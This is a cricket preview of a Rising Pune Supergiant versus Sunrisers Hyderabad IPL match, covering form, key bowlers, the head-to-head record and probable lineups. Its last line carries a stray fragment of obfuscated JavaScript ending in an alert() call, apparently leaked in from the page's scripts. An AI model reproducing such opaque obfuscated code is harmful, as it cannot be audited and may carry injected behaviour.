Rising Pune Supergiant return to action after a 5-day break against in-form Sunrisers Hyderabad at MCA Stadium in Pune.

It was Sunday last that Rising Pune Supergiant beat RCB comprehensively, but post that, they have been off match play. Sunrisers, on the other hand, have been in the thick of things and that could well make quite a difference. Match fitness could well make a telling difference.

Given their impressive performance against RCB, RPSAwould definitely come all guns blazing tomorrow against a resurgent Sunrisers Hyderabad; who again came back to winning ways with back to back victories.

Meanwhile RPS captain Steve Smith enjoyed a small vacation in Dubai during these 6 days; where he was seen enjoying some delicious Acai bowls. RPS has failed to seize the opportunity at crucial junctures of the game; which has left them with only a couple of victories from their 5 encounters.

The defending champions, on the other hand has looked an organised unit apart from the two matches; against Kolkata Knight Riders and the Mumbai Indians who made full use of their complacency. After winning two they lost a couple but again came back to winning ways; with victories against Kings XI Punjab and Delhi Daredevils.

Their bowling line-up has looks a class apart with Bhuvneshwar Kumar leading the pack. He is sitting pretty with 15 wickets in the tournament so far. The teenage sensation from Afghanistan Rashid Khan has looked exceptional and has bowled some amazing deliveries; which have bamboozled opposition batsmen on a consistent basis. Sunrisers will be banking on their bowling attack as they have through the season.

Head to Head:

Matches – 2
RPS – 1, SRH -1

Probable Lineups:

Rising Pune Supergiant

Ajinkya Rahane, Rahul Tripathi; Steve Smith (C), MS Dhoni (wk), Ben Stokes; Manoj Tiwary, Dan Christian, Rahul Chahar; Imran Tahir, Jaydev Unadkat, Shardul Thakur.

Sunrisers Hyderabad

David Warner (C), Shikhar Dhawan; Kane Williamson, Yuvraj Singh, Deepak Hooda; Mohammad Nabi, Bipul Sharma; Rashid Khan; Mohammad Siraj, Bhuvneshwar Kumar; Siddharth Kaul. ]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}


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